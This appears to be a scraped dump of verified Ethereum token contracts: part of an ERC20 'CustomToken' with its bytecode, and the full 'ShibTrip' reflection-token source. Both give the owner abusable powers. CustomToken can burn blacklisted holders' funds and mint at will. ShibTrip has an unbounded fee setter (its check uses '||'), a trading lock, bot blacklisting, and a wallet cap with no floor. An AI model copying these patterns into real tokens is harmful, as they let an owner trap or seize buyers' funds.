events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract BlackList is Ownable, ERC20 { mapping (address => bool) public blackListArray; function getBlackListStatus(address _maker) external view returns (bool) { return blackListArray[_maker]; } function getOwner() external view returns (address) { return owner; } function addBlackList (address _evilUser) public onlyOwner { blackListArray[_evilUser] = true; } function removeBlackList (address _clearedUser) public onlyOwner { blackListArray[_clearedUser] = false; } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(blackListArray[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); _burn(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } /** * @title CustomToken * @author CustomToken * * @dev Standard ERC20 token with burn, mint & blacklist. */ contract CustomToken is BlackList { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Constructor. * @param name name of the token * @param symbol symbol of the token, 3-4 chars is recommended * @param decimals number of decimal places of one token unit, 18 is widely used * @param totalSupply total supply of tokens in lowest units (depending on decimals) * @param tokenOwnerAddress address that gets 100% of token supply */ constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable { _name = name; _symbol = symbol; _decimals = decimals; // set tokenOwnerAddress as owner of all tokens _mint(tokenOwnerAddress, totalSupply * (10**18)); // pay the service fee for contract deployment feeReceiver.transfer(msg.value); } /** * @dev Burns a specific amount of tokens. * @param value The amount of lowest token units to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } // optional functions from ERC20 stardard /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } function transfer(address _to, uint256 _value) public returns (bool) { require(!blackListArray[msg.sender]); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!blackListArray[_from]); return super.transferFrom(_from, _to, _value); } /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyOwner returns (bool) { _mint(account, amount); return true; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b25780630a6b7e45146102255780630ecb93c01461028e57806318160ddd146102df57806323b872dd1461030a578063313ce5671461039d57806339509351146103ce57806340c10f191461044157806342966c68146104b457806359bf1abe146104ef57806370a0823114610558578063893d20e8146105bd5780638da5cb5b1461061457806395d89b411461066b578063a457c2d7146106fb578063a9059cbb1461076e578063dd62ed3e146107e1578063e4997dc514610866578063f2fde38b146108b7578063f3bdc22814610908575b600080fd5b34801561012e57600080fd5b50610137610959565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b5061020b600480360360408110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fb565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b506102746004803603602081101561024857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a12565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102dd600480360360208110156102b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a32565b005b3480156102eb57600080fd5b506102f4610ae8565b6040518082815260200191505060405180910390f35b34801561031657600080fd5b506103836004803603606081101561032d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af2565b604051808215151515815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610b61565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103da57600080fd5b50610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b78565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b5061049a6004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c1d565b604051808215151515815260200191505060405180910390f35b3480156104c057600080fd5b506104ed600480360360208110156104d757600080fd5b8101908080359060200190929190505050610c8e565b005b3480156104fb57600080fd5b5061053e6004803603602081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c9b565b604051808215151515815260200191505060405180910390f35b34801561056457600080fd5b506105a76004803603602081101561057b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf1565b6040518082815260200191505060405180910390f35b3480156105c957600080fd5b506105d2610d3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062057600080fd5b50610629610d63565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561067757600080fd5b50610680610d88565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c05780820151818401526020810190506106a5565b50505050905090810190601f1680156106ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561070757600080fd5b506107546004803603604081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2a565b604051808215151515815260200191505060405180910390f35b34801561077a57600080fd5b506107c76004803603604081101561079157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ecf565b604051808215151515815260200191505060405180910390f35b3480156107ed57600080fd5b506108506004803603604081101561080457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3c565b6040518082815260200191505060405180910390f35b34801561087257600080fd5b506108b56004803603602081101561088957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc3565b005b3480156108c357600080fd5b50610906600480360360208110156108da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611079565b005b34801561091457600080fd5b506109576004803603602081101561092b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061114e565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a0833848461121c565b6001905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8d57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600354905090565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b4d57600080fd5b610b5884848461137f565b90509392505050565b6000600760009054906101000a900460ff16905090565b6000610c133384610c0e85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b61121c565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7a57600080fd5b610c848383611451565b6001905092915050565b610c9833826115a7565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e205780601f10610df557610100808354040283529160200191610e20565b820191906000526020600020905b815481529060010190602001808311610e0357829003601f168201915b5050505050905090565b6000610ec53384610ec085600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b61121c565b6001905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f2a57600080fd5b610f34838361171f565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101e57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561114b57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a957600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561120157600080fd5b600061120c82610cf1565b905061121882826115a7565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561125857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561129457600080fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061138c848484611736565b611425843361142085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b61121c565b600190509392505050565b600080828401905083811015151561144757600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561148d57600080fd5b6114a28160035461143090919063ffffffff16565b6003819055506114fa81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156115e357600080fd5b6115f8816003546116fd90919063ffffffff16565b60038190555061165081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115151561170e57600080fd5b600082840390508091505092915050565b600061172c338484611736565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561177257600080fd5b6117c481600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fd90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea165627a7a72305820451f7a011e7f32b3979facd195c1abf885430be025a9f5cadaf7e64fcafd2ebd0029
{"success": true, "error": null, "results": {}}
8,844
0x56c1c4c747e2836bf10e004752dab8335324dda1
/** *Submitted for verification at Etherscan.io on 2022-03-22 */ // SPDX-License-Identifier: Unlicensed //https://t.me/shibtrip //https://t.me/shibtrip //https://t.me/shibtrip pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibTrip is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ShibTrip"; string private constant _symbol = "SHIBTRIP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 10000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000001 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ require(!tradingOpen); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
